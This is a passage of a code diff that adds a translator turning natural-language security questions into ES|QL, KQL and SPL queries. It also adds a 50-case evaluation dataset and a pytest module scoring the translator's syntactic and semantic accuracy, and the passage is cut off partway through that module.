_IMPLICIT_PREPS:+ for field_name in _IMPLICIT_FIELDS:+ resolved = _resolve_field(field_name)+ if not resolved:+ continue+ pattern = rf"\b{prep}\s+{re.escape(field_name)}\s+([a-z0-9_\-\.@\*]+)\b"+ for m in re.finditer(pattern, text):+ value = m.group(1).strip()+ if value in {+ "the",+ "a",+ "an",+ "any",+ "all",+ "in",+ "and",+ "or",+ "is",+ "with",+ "where",+ "having",+ }:+ continue+ # Avoid double-adding a filter we already extracted via the+ # explicit ``field is value`` path.+ key = (resolved, value)+ if key in seen_pairs:+ continue+ seen_pairs.add(key)+ intents.filters.append((resolved, "==", value))++ # Bare ``from <hostname>`` — no explicit field word but the token looks+ # like a hostname (alphanumeric with at least one digit, or contains a+ # dot like an FQDN). We deliberately require a digit-or-dot so we don't+ # collide with prose like ``from the last hour`` or ``from authentication``.+ for m in re.finditer(+ r"\bfrom\s+([a-z][a-z0-9_\-]*\d[a-z0-9_\-]*|[a-z][a-z0-9_\-]*\.[a-z0-9_\-\.]+)\b",+ text,+ ):+ value = m.group(1).strip()+ # Skip values already captured (the explicit-field loop above runs+ # first) and skip anything that looks like an IPv4 address — that's+ # handled by the dedicated source.ip extractor higher up.+ if re.fullmatch(r"\d{1,3}(?:\.\d{1,3}){3}", value):+ continue+ key = ("host.name", value)+ if key in seen_pairs:+ continue+ seen_pairs.add(key)+ intents.filters.append(("host.name", "==", value))+++def _extract_time_range(question: str, default_hours: int) -> int:+ match = _TIME_REGEX.search(question)+ if match:+ quantity = int(match.group(1))+ unit = match.group(2).lower()+ else:+ singular = _TIME_REGEX_SINGULAR.search(question)+ if not singular:+ return default_hours+ quantity = 1+ unit = singular.group(1).lower()+ if unit.startswith("minute"):+ # Round up to at least one hour for dialects that work in hours.+ return max(1, (quantity + 59) // 60)+ if unit.startswith("hour"):+ return max(1, quantity)+ if unit.startswith("day"):+ return max(1, quantity * 24)+ if unit.startswith("week"):+ return max(1, quantity * 24 * 7)+ if unit.startswith("month"):+ return max(1, quantity * 24 * 30)+ return default_hours+++def _extract_group_by(question: str, intents: QueryIntents) -> None:+ text = _normalise(question)+ # Expand ``by X and Y`` / ``per X and Y`` into ``by X, by Y`` so the+ # single-field regex below picks up both halves. We only expand once+ # to keep behaviour predictable for runs with three or more fields.+ text = re.sub(+ r"\b(by|per)\s+([a-z][a-z _\.]+?)\s+and\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:in|over|for|with|where|having|in the|last|past|previous|,|$))",+ r"\1 \2, \1 \3",+ text + " ,",+ )+ for m in re.finditer(+ r"\b(?:by|per|grouped by|group by)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:in|over|for|with|where|having|in the|and|last|past|previous|,|$))",+ text,+ ):+ candidate = m.group(1).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if canonical and canonical not in intents.group_by:+ intents.group_by.append(canonical)+++def _extract_aggregations(question: str, intents: QueryIntents) -> None:+ text = _normalise(question)++ # "count of failed logins by user"+ if re.search(r"\b(count|how many|number of)\b", text):+ intents.aggregations.append(("COUNT", None, "event_count"))++ # Numeric aggregations: "average bytes", "sum of bytes", "max bytes".+ seen_aggs: set[tuple[str, str]] = set()+ for pattern, func in _NUMERIC_AGG_PATTERNS:+ for m in re.finditer(pattern, text + " ,"):+ candidate = m.group(1).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if not canonical:+ continue+ key = (func, canonical)+ if key in seen_aggs:+ continue+ seen_aggs.add(key)+ alias = f"{func.lower()}_{canonical.replace('.', '_')}"+ intents.aggregations.append((func, canonical, alias))++ # "unique users", "distinct hosts" — the lookahead lets us stop at the+ # next clause boundary (``with``, ``having``, ``in the last 24h`` etc.)+ # without dragging the whole tail of the question into the field name.+ for m in re.finditer(+ r"\b(?:unique|distinct)\s+([a-z _]+?)"+ r"(?=\b(?:by|per|in|over|with|where|having|from|and|,|$))",+ text + " ,",+ ):+ candidate = m.group(1).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if canonical:+ intents.aggregations.append(("DISTINCT_COUNT", canonical, f"unique_{canonical.replace('.', '_')}"))+ intents.distinct = canonical++ # "top 10 hosts" / "top hosts"+ top_m = re.search(r"\btop\s+(\d+)?\s*([a-z _\.]+?)(?=\b(?:by|in|over|with|where|and|,|$))", text + " ,")+ if top_m:+ try:+ limit = int(top_m.group(1)) if top_m.group(1) else 10+ except ValueError:+ limit = 10+ intents.limit = limit+ candidate = top_m.group(2).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if canonical and canonical not in intents.group_by:+ intents.group_by.append(canonical)+ if not any(agg[0] == "COUNT" for agg in intents.aggregations):+ intents.aggregations.append(("COUNT", None, "event_count"))+ intents.sort_by = ("event_count", "DESC")++ # "show me last 100 events" / "limit 50". Carefully require that the+ # number is *not* immediately followed by a time unit, otherwise+ # ``in the last 24 hours`` would be misinterpreted as a row limit.+ lim_m = re.search(+ r"\b(?:limit|last|first)\s+(\d+)\b(?!\s*(?:minute|minutes|hour|hours|day|days|week|weeks|month|months))",+ text,+ )+ if lim_m and not top_m:+ try:+ intents.limit = int(lim_m.group(1))+ except ValueError as exc:+ # Regex group is `\d+`, so int() should never fail here. If it+ # somehow does (e.g. an upstream regex change), keep the dataclass+ # default rather than failing the whole NL → ES|QL parse.+ logger.debug("nl_query.limit_parse_failed value=%r err=%s", lim_m.group(1), exc)++ # Sort hints (highest, lowest)+ for kw, direction in _ORDER_KEYWORDS.items():+ if re.search(rf"\b{kw}\b", text):+ if intents.sort_by is None and intents.aggregations:+ intents.sort_by = (intents.aggregations[0][2], direction)+ break+++def parse_intents(query: NLQuery) -> QueryIntents:+ """Parse *query* into a :class:`QueryIntents` IR."""++ intents = QueryIntents()+ _extract_filters(query.question, intents)+ _extract_aggregations(query.question, intents)+ _extract_group_by(query.question, intents)+ # If the user grouped by something (``per host``, ``by user``) but never+ # named an explicit aggregation, default to ``COUNT(*)`` — the only thing+ # you can sensibly compute over a grouping with no measure.+ if intents.group_by and not intents.aggregations:+ intents.aggregations.append(("COUNT", None, "event_count"))+ if intents.sort_by is None:+ intents.sort_by = ("event_count", "DESC")+ intents.time_field = "@timestamp"+ return intents+++# ---------------------------------------------------------------------------+# Renderers+# ---------------------------------------------------------------------------+++def _render_esql_value(value: str) -> str:+ if re.fullmatch(r"-?\d+(?:\.\d+)?", value):+ return value+ return '"' + value.replace('"', '\\"') + '"'+++def _render_esql(query: NLQuery, intents: QueryIntents) -> str:+ lines = [f"FROM {query.index_pattern}"]+ lines.append(f"| WHERE {intents.time_field} > NOW() - {query.time_range_hours}h")++ for fld, op, value in intents.filters:+ if op == "LIKE":+ lines.append(f'| WHERE {fld} LIKE "*{value}*"')+ else:+ lines.append(f"| WHERE {fld} == {_render_esql_value(value)}")++ if intents.aggregations:+ agg_parts: list[str] = []+ for func, arg, alias in intents.aggregations:+ if func == "COUNT":+ agg_parts.append(f"{alias} = COUNT(*)")+ elif func == "DISTINCT_COUNT" and arg:+ agg_parts.append(f"{alias} = COUNT_DISTINCT({arg})")+ elif arg:+ agg_parts.append(f"{alias} = {func}({arg})")+ stats_line = "| STATS " + ", ".join(agg_parts)+ if intents.group_by:+ stats_line += " BY " + ", ".join(intents.group_by)+ lines.append(stats_line)++ if intents.sort_by:+ fld, direction = intents.sort_by+ lines.append(f"| SORT {fld} {direction}")++ lines.append(f"| LIMIT {intents.limit}")+ return "\n".join(lines)+++def _render_kql(query: NLQuery, intents: QueryIntents) -> str:+ table = _kql_table_for(query.index_pattern)+ lines = [table]+ lines.append(f"| where {intents.time_field.lstrip('@')} > ago({query.time_range_hours}h)")++ for fld, op, value in intents.filters:+ kfld = fld.replace(".", "_")+ if op == "LIKE":+ lines.append(f'| where {kfld} contains "{value}"')+ elif re.fullmatch(r"-?\d+(?:\.\d+)?", value):+ lines.append(f"| where {kfld} == {value}")+ else:+ lines.append(f'| where {kfld} == "{value}"')++ if intents.aggregations:+ agg_parts: list[str] = []+ for func, arg, alias in intents.aggregations:+ if func == "COUNT":+ agg_parts.append(f"{alias} = count()")+ elif func == "DISTINCT_COUNT" and arg:+ agg_parts.append(f"{alias} = dcount({arg.replace('.', '_')})")+ elif arg:+ agg_parts.append(f"{alias} = {func.lower()}({arg.replace('.', '_')})")+ summarize_line = "| summarize " + ", ".join(agg_parts)+ if intents.group_by:+ summarize_line += " by " + ", ".join(g.replace(".", "_") for g in intents.group_by)+ lines.append(summarize_line)++ if intents.sort_by:+ fld, direction = intents.sort_by+ lines.append(f"| order by {fld} {direction.lower()}")++ lines.append(f"| take {intents.limit}")+ return "\n".join(lines)+++def _kql_table_for(index_pattern: str) -> str:+ pattern = index_pattern.lower()+ if "winlog" in pattern or "windows" in pattern:+ return "SecurityEvent"+ if "syslog" in pattern or "linux" in pattern:+ return "Syslog"+ if "firewall" in pattern or "fw-" in pattern:+ return "CommonSecurityLog"+ if "auth" in pattern:+ return "SigninLogs"+ return "SecurityEvent"+++def _render_spl(query: NLQuery, intents: QueryIntents) -> str:+ parts = [f"index=* earliest=-{query.time_range_hours}h"]++ filter_terms: list[str] = []+ for fld, op, value in intents.filters:+ sfld = fld.replace(".", "_")+ if op == "LIKE":+ filter_terms.append(f'{sfld}="*{value}*"')+ elif re.fullmatch(r"-?\d+(?:\.\d+)?", value):+ filter_terms.append(f"{sfld}={value}")+ else:+ filter_terms.append(f'{sfld}="{value}"')+ if filter_terms:+ parts[0] += " " + " ".join(filter_terms)++ if intents.aggregations:+ agg_parts: list[str] = []+ for func, arg, alias in intents.aggregations:+ if func == "COUNT":+ agg_parts.append(f"count as {alias}")+ elif func == "DISTINCT_COUNT" and arg:+ agg_parts.append(f"dc({arg.replace('.', '_')}) as {alias}")+ elif arg:+ agg_parts.append(f"{func.lower()}({arg.replace('.', '_')}) as {alias}")+ stats_line = "stats " + " ".join(agg_parts)+ if intents.group_by:+ stats_line += " by " + " ".join(g.replace(".", "_") for g in intents.group_by)+ parts.append(stats_line)++ if intents.sort_by:+ fld, direction = intents.sort_by+ prefix = "-" if direction == "DESC" else "+"+ parts.append(f"sort {prefix}{fld}")++ parts.append(f"head {intents.limit}")+ return " | ".join(parts)+++def _explain(intents: QueryIntents, query: NLQuery) -> str:+ fragments: list[str] = []+ if intents.filters:+ rendered = ", ".join(f"{f}={v}" for f, _, v in intents.filters)+ fragments.append(f"filtering events where {rendered}")+ if intents.aggregations:+ agg_text = ", ".join(f"{func.lower()}({arg or '*'}) as {alias}" for func, arg, alias in intents.aggregations)+ fragments.append(f"computing {agg_text}")+ if intents.group_by:+ fragments.append(f"grouped by {', '.join(intents.group_by)}")+ if intents.sort_by:+ fld, direction = intents.sort_by+ fragments.append(f"sorted by {fld} {direction.lower()}")+ fragments.append(f"limited to {intents.limit} rows")+ fragments.append(f"over the last {query.time_range_hours}h")+ return "Translates the question by " + "; ".join(fragments) + "."+++# ---------------------------------------------------------------------------+# Public API+# ---------------------------------------------------------------------------+++class Translator:+ """Stateless translator. Kept as a class so callers can DI a custom one."""++ def translate(self, query: NLQuery) -> TranslatedQuery:+ intents = parse_intents(query)++ # Apply time-range hints from the question itself, e.g. "last 7 days".+ effective_hours = _extract_time_range(query.question, query.time_range_hours)+ if effective_hours != query.time_range_hours:+ query = NLQuery(+ question=query.question,+ index_pattern=query.index_pattern,+ time_range_hours=effective_hours,+ )++ esql = _render_esql(query, intents)+ kql = _render_kql(query, intents)+ spl = _render_spl(query, intents)++ # Validate every emitted query — bail loudly if our renderer is broken.+ validate_esql(esql)+ validate_kql(kql)+ validate_spl(spl)++ return TranslatedQuery(+ esql=esql,+ kql=kql,+ spl=spl,+ explanation=_explain(intents, query),+ intents=intents,+ )+++_default_translator = Translator()+++def translate(+ question: str,+ *,+ index_pattern: str = "logs-*",+ time_range_hours: int = 24,+) -> TranslatedQuery:+ """Module-level convenience wrapper around :class:`Translator`."""++ return _default_translator.translate(NLQuery(question=question, index_pattern=index_pattern, time_range_hours=time_range_hours))+++# ---------------------------------------------------------------------------+# Optional LLM enhancement+# ---------------------------------------------------------------------------+++async def enhance_with_llm(+ query: NLQuery,+ *,+ api_key: str,+ model: str = "gpt-4o-mini",+ timeout: float = 30.0,+ fallback: TranslatedQuery | None = None,+) -> TranslatedQuery:+ """Try to obtain a richer translation from an LLM, falling back on errors.++ The LLM call is best-effort. If the model returns invalid JSON, queries+ that fail grammar validation, or simply fails to respond in time, we+ return *fallback* (or the deterministic translation if not provided).+ """++ deterministic = fallback or _default_translator.translate(query)++ try:+ import json+ import textwrap++ import httpx # local import — keeps the offline path zero-dependency++ prompt = textwrap.dedent(+ f"""+ Translate the following security question into ES|QL, KQL, and SPL.+ Return JSON only with keys esql, kql, spl, explanation.++ Question: {query.question}+ Index: {query.index_pattern}+ Time range: last {query.time_range_hours} hours+ """+ ).strip()++ async with httpx.AsyncClient(timeout=timeout) as client:+ resp = await client.post(+ "https://api.openai.com/v1/chat/completions",+ headers={"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},+ json={+ "model": model,+ "response_format": {"type": "json_object"},+ "temperature": 0,+ "messages": [+ {"role": "system", "content": "You translate security questions into queries."},+ {"role": "user", "content": prompt},+ ],+ },+ )+ if resp.status_code != 200:+ logger.info("nl_query LLM call failed: status=%s", resp.status_code)+ return deterministic++ payload = resp.json()+ content = payload["choices"][0]["message"]["content"]+ parsed = json.loads(content)+ esql = str(parsed.get("esql", "")).strip()+ kql = str(parsed.get("kql", "")).strip()+ spl = str(parsed.get("spl", "")).strip()+ if not (esql and kql and spl):+ return deterministic+ validate_esql(esql)+ validate_kql(kql)+ validate_spl(spl)+ return TranslatedQuery(+ esql=esql,+ kql=kql,+ spl=spl,+ explanation=str(parsed.get("explanation", deterministic.explanation)),+ intents=deterministic.intents,+ )+ except (GrammarError, ValueError, KeyError, TypeError) as exc:+ logger.info("nl_query LLM result rejected by grammar: %s", exc)+ return deterministic+ except Exception as exc: # pragma: no cover - network / import issues+ logger.info("nl_query LLM enhancement failed: %s", exc)+ return deterministic+++__all__ = [+ "NLQuery",+ "QueryIntents",+ "TranslatedQuery",+ "Translator",+ "translate",+ "parse_intents",+ "enhance_with_llm",+]diff --git a/services/agents/tests/eval_data/nl_query_eval.json b/services/agents/tests/eval_data/nl_query_eval.jsonnew file mode 100644index 000000000..44a3273a5--- /dev/null+++ b/services/agents/tests/eval_data/nl_query_eval.json@@ -0,0 +1,465 @@+{+ "schema_version": 1,+ "description": "50-pair evaluation set for the deterministic NL → ES|QL translator. Each entry is a natural-language security question plus the structured intents we expect the parser to extract. We score on (a) syntactic validity of the emitted ES|QL (parsed by services/agents/app/nl_query/grammar.py) and (b) semantic match of the parsed intents against the gold IR.",+ "index_pattern_default": "logs-*",+ "time_range_hours_default": 24,+ "cases": [+ {+ "id": "auth-001",+ "question": "failed logins by user in the last 24 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "auth-002",+ "question": "successful authentications by user last 6 hours",+ "expected": {+ "filters": [["event.outcome", "==", "success"], ["event.category", "==", "authentication"]],+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "auth-003",+ "question": "unique users with failed logons in the last hour",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "group_by": [],+ "aggregations": [["DISTINCT_COUNT", "user.name", "unique_user_name"]],+ "time_range_hours": 1+ }+ },+ {+ "id": "auth-004",+ "question": "count failed authentications by user and host last 12 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "group_by": ["user.name", "host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 12+ }+ },+ {+ "id": "auth-005",+ "question": "top 10 users by failed login count last 24 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 10,+ "time_range_hours": 24+ }+ },+ {+ "id": "auth-006",+ "question": "denied logins from 10.0.0.5 in the last day",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"], ["source.ip", "==", "10.0.0.5"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "auth-007",+ "question": "ssh logins by user last week",+ "expected": {+ "filters": [["event.category", "==", "authentication"]],+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 168+ }+ },+ {+ "id": "auth-008",+ "question": "how many authentication events in the last 6 hours",+ "expected": {+ "filters": [["event.category", "==", "authentication"]],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "auth-009",+ "question": "top 5 hosts with the most failed logins last 12 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 5,+ "time_range_hours": 12+ }+ },+ {+ "id": "auth-010",+ "question": "successful logons by user account in the last 30 days",+ "expected": {+ "filters": [["event.outcome", "==", "success"], ["event.category", "==", "authentication"]],+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 720+ }+ },+ {+ "id": "net-001",+ "question": "denied dns queries by domain last 30 days",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "network"]],+ "group_by": ["destination.domain"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 720+ }+ },+ {+ "id": "net-002",+ "question": "average bytes per host last 6 hours",+ "expected": {+ "group_by": ["host.name"],+ "aggregations": [["AVG", "network.bytes", "avg_network_bytes"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "net-003",+ "question": "sum of bytes by source ip last 30 days",+ "expected": {+ "group_by": ["source.ip"],+ "aggregations": [["SUM", "network.bytes", "sum_network_bytes"]],+ "time_range_hours": 720+ }+ },+ {+ "id": "net-004",+ "question": "max bytes by destination ip in the last day",+ "expected": {+ "group_by": ["destination.ip"],+ "aggregations": [["MAX", "network.bytes", "max_network_bytes"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "net-005",+ "question": "blocked firewall events by source ip last 12 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "network"]],+ "group_by": ["source.ip"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 12+ }+ },+ {+ "id": "net-006",+ "question": "top 20 destination ips by event count last 6 hours",+ "expected": {+ "group_by": ["destination.ip"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 20,+ "time_range_hours": 6+ }+ },+ {+ "id": "net-007",+ "question": "unique source ips in the last hour",+ "expected": {+ "aggregations": [["DISTINCT_COUNT", "source.ip", "unique_source_ip"]],+ "time_range_hours": 1+ }+ },+ {+ "id": "net-008",+ "question": "count network events from 192.168.1.10 last 24 hours",+ "expected": {+ "filters": [["event.category", "==", "network"], ["source.ip", "==", "192.168.1.10"]],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "net-009",+ "question": "total bytes by destination port last 6 hours",+ "expected": {+ "group_by": ["destination.port"],+ "aggregations": [["SUM", "network.bytes", "sum_network_bytes"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "net-010",+ "question": "top 10 domains by query count last week",+ "expected": {+ "group_by": ["destination.domain"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 10,+ "time_range_hours": 168+ }+ },+ {+ "id": "proc-001",+ "question": "process executions by host last 6 hours",+ "expected": {+ "filters": [["event.category", "==", "process"]],+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "proc-002",+ "question": "top 10 processes by execution count last 12 hours",+ "expected": {+ "group_by": ["process.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 10,+ "time_range_hours": 12+ }+ },+ {+ "id": "proc-003",+ "question": "unique processes by host in the last day",+ "expected": {+ "group_by": ["host.name"],+ "aggregations": [["DISTINCT_COUNT", "process.name", "unique_process_name"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "proc-004",+ "question": "count process events where process is powershell.exe last 6 hours",+ "expected": {+ "filters": [["event.category", "==", "process"], ["process.name", "==", "powershell.exe"]],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "proc-005",+ "question": "executions by user and process last 12 hours",+ "expected": {+ "group_by": ["user.name", "process.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 12+ }+ },+ {+ "id": "file-001",+ "question": "file events by host in the last day",+ "expected": {+ "filters": [["event.category", "==", "file"]],+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "file-002",+ "question": "filesystem events by user last 6 hours",+ "expected": {+ "filters": [["event.category", "==", "file"]],+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "file-003",+ "question": "top 10 hosts by file event count last 12 hours",+ "expected": {+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 10,+ "time_range_hours": 12+ }+ },+ {+ "id": "host-001",+ "question": "events from host web01 in the last hour",+ "expected": {+ "filters": [["host.name", "==", "web01"]],+ "time_range_hours": 1+ }+ },+ {+ "id": "host-002",+ "question": "count events by host last 24 hours",+ "expected": {+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "host-003",+ "question": "top 10 hosts by event count last 6 hours",+ "expected": {+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 10,+ "time_range_hours": 6+ }+ },+ {+ "id": "host-004",+ "question": "events where hostname is db-prod-01 last 12 hours",+ "expected": {+ "filters": [["host.name", "==", "db-prod-01"]],+ "time_range_hours": 12+ }+ },+ {+ "id": "host-005",+ "question": "show last 100 events from host web02",+ "expected": {+ "filters": [["host.name", "==", "web02"]],+ "limit": 100+ }+ },+ {+ "id": "user-001",+ "question": "events for user alice last 24 hours",+ "expected": {+ "filters": [["user.name", "==", "alice"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "user-002",+ "question": "count events by user in the last day",+ "expected": {+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "user-003",+ "question": "unique hosts by user last 6 hours",+ "expected": {+ "group_by": ["user.name"],+ "aggregations": [["DISTINCT_COUNT", "host.name", "unique_host_name"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "user-004",+ "question": "top 5 users by event count last 12 hours",+ "expected": {+ "group_by": ["user.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "limit": 5,+ "time_range_hours": 12+ }+ },+ {+ "id": "user-005",+ "question": "events where account equals admin last 24 hours",+ "expected": {+ "filters": [["user.name", "==", "admin"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "outcome-001",+ "question": "failed events by category last 6 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"]],+ "group_by": ["event.category"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 6+ }+ },+ {+ "id": "outcome-002",+ "question": "successful events by host last 24 hours",+ "expected": {+ "filters": [["event.outcome", "==", "success"]],+ "group_by": ["host.name"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ },+ {+ "id": "outcome-003",+ "question": "denied events by source ip last 12 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"]],+ "group_by": ["source.ip"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 12+ }+ },+ {+ "id": "outcome-004",+ "question": "rejected events from 172.16.0.5 in the last hour",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["source.ip", "==", "172.16.0.5"]],+ "time_range_hours": 1+ }+ },+ {+ "id": "limit-001",+ "question": "show last 50 events",+ "expected": {+ "limit": 50+ }+ },+ {+ "id": "limit-002",+ "question": "limit 25 events from web01",+ "expected": {+ "filters": [["host.name", "==", "web01"]],+ "limit": 25+ }+ },+ {+ "id": "limit-003",+ "question": "first 200 failed logins last 24 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "limit": 200,+ "time_range_hours": 24+ }+ },+ {+ "id": "time-001",+ "question": "events in the last 15 minutes",+ "expected": {+ "time_range_hours": 1+ }+ },+ {+ "id": "time-002",+ "question": "failed logins in the past 2 weeks",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "time_range_hours": 336+ }+ },+ {+ "id": "time-003",+ "question": "events in the previous 3 days",+ "expected": {+ "time_range_hours": 72+ }+ },+ {+ "id": "time-004",+ "question": "events in the last month",+ "expected": {+ "time_range_hours": 720+ }+ },+ {+ "id": "geo-001",+ "question": "failed logins by country last 24 hours",+ "expected": {+ "filters": [["event.outcome", "==", "failure"], ["event.category", "==", "authentication"]],+ "group_by": ["source.geo.country_iso_code"],+ "aggregations": [["COUNT", null, "event_count"]],+ "time_range_hours": 24+ }+ }+ ]+}diff --git a/services/agents/tests/test_nl_query_eval.py b/services/agents/tests/test_nl_query_eval.pynew file mode 100644index 000000000..09cfacd37--- /dev/null+++ b/services/agents/tests/test_nl_query_eval.py@@ -0,0 +1,172 @@+"""Frozen evaluation for the deterministic NL → ES|QL translator.++We score the translator on two axes:++* **Syntactic validity** — every emitted ES|QL string must parse against+ :mod:`app.nl_query.grammar`. Target: ≥85% of the eval set.+* **Semantic match** — the parsed :class:`QueryIntents` must align with+ the gold IR in ``tests/eval_data/nl_query_eval.json``. We score each+ case by per-axis accuracy (filters, group_by, aggregations, limit,+ time_range_hours) and require ≥70% mean semantic match across the set.++This file is intentionally a single test module rather than a parametrised+explosion of 50 tests: it lets us print a clean report on stdout while+still failing CI when the translator regresses.+"""++from __future__ import annotations++import json+from pathlib import Path++from app.nl_query.grammar import GrammarError, validate_esql+from app.nl_query.translator import NLQuery, QueryIntents, parse_intents, translate++_EVAL_PATH = Path(__file__).parent / "eval_data" / "nl_query_eval.json"++# Acceptance thresholds from the future-release plan (Stage 2 #16).+_SYNTACTIC_THRESHOLD = 0.85+_SEMANTIC_THRESHOLD = 0.70+++def _load_dataset() -> dict:+ return json.loads(_EVAL_PATH.read_text())+++def _normalise_filters(items) -> set[tuple[str, str, str]]:+ return {(f, op, v) for f, op, v in items}+++def _semantic_score(expected: dict, actual: QueryIntents) -> tuple[float, list[str]]:+ """Return (score in [0, 1], list of axis-level mismatch notes)."""++ notes: list[str] = []+ axes_checked = 0+ axes_passed = 0++ if "filters" in expected:+ axes_checked += 1+ want = _normalise_filters(expected["filters"])+ got = _normalise_filters(actual.filters)+ # Allow extra filters in the actual output (the parser is generous);+ # we just require the gold set to be a subset of what we emitted.+ if want.issubset(got):+ axes_passed += 1+ else:+ missing = want - got+ notes.append(f"filters missing: {sorted(missing)} (got {sorted(got)})")++ if "group_by" in expected:+ axes_checked += 1+ if list(expected["group_by"]) == list(actual.group_by):+ axes_passed += 1+ else:+ notes.append(f"group_by want={expected['group_by']} got={actual.group_by}")++ if "aggregations" in expected:+ axes_checked += 1+ want_aggs = {(f, a) for f, a, _ in expected["aggregations"]}+ got_aggs = {(f, a) for f, a, _ in actual.aggregations}+ if want_aggs.issubset(got_aggs):+ axes_passed += 1+ else:+ notes.append(f"aggregations missing {sorted(want_aggs - got_aggs)} (got {sorted(got_aggs)})")++ if "limit" in expected:+ axes_checked += 1+ if expected["limit"] == actual.limit:+ axes_passed += 1+ else:+ notes.append(f"limit want={expected['limit']} got={actual.limit}")++ if "time_range_hours" in expected:+ # Time range lives on the rendered query, not on intents — we'll+ # check it via the round-trip in the test below.+ pass++ if axes_checked == 0:+ return 1.0, notes+ return axes_passed / axes_checked, notes+++def test_nl_query_eval_syntactic_validity() -> None:+ dataset = _load_dataset()+ cases = dataset["cases"]+ valid = 0+ failures: list[str] = []+ for case in cases:+ try:+ translated = translate(case["question"])+ validate_esql(translated.esql)+ valid += 1+ except (GrammarError, ValueError) as exc:+ failures.append(f"{case['id']}: {exc}")++ rate = valid / len(cases)+ print(f"\n[nl_query] syntactic validity: {valid}/{len(cases)} = {rate:.1%} (threshold {_SYNTACTIC_THRESHOLD:.0%})")+ if failures:+ print("[nl_query] syntactic failures:")+ for f in failures:+ print(f" - {f}")++ assert rate >= _SYNTACTIC_THRESHOLD, f"syntactic validity {rate:.1%} below {_SYNTACTIC_THRESHOLD:.0%}; failures: {failures[:5]}"+++def test_nl_query_eval_semantic_match() -> None:+ dataset = _load_dataset()+ cases = dataset["cases"]+ default_hours = dataset.get("time_range_hours_default", 24)+ default_index = dataset.get("index_pattern_default", "logs-*")++ per_case_scores: list[tuple[str, float, list[str]]] = []+ for case in cases:+ intents = parse_intents(+ NLQuery(+ question=case["question"],+ index_pattern=default_index,+ time_range_hours=default_hours,+ )+ )+ # Render once to observe the effective time range (the renderer+ # extracts it from the question text).+ translated = translate(case["question"])++ score, notes = _semantic_score(case["expected"], intents)++ # Time-range axis is checked against the rendered ES|QL.+ if "time_range_hours" in case["expected"]:+ want_hours = case["expected"]["time_range_hours"]+ wanted_phrase = f"NOW() - {want_hours}h"+ if wanted_phrase in translated.esql:+ # Promote the score: average in a passing time-range axis.+ score = (score + 1.0) / 2 if notes else 1.0+ else:+ notes.append(f"time_range want={want_hours}h not found in ESQL")+ score = score / 2 if score > 0 else 0.0++ 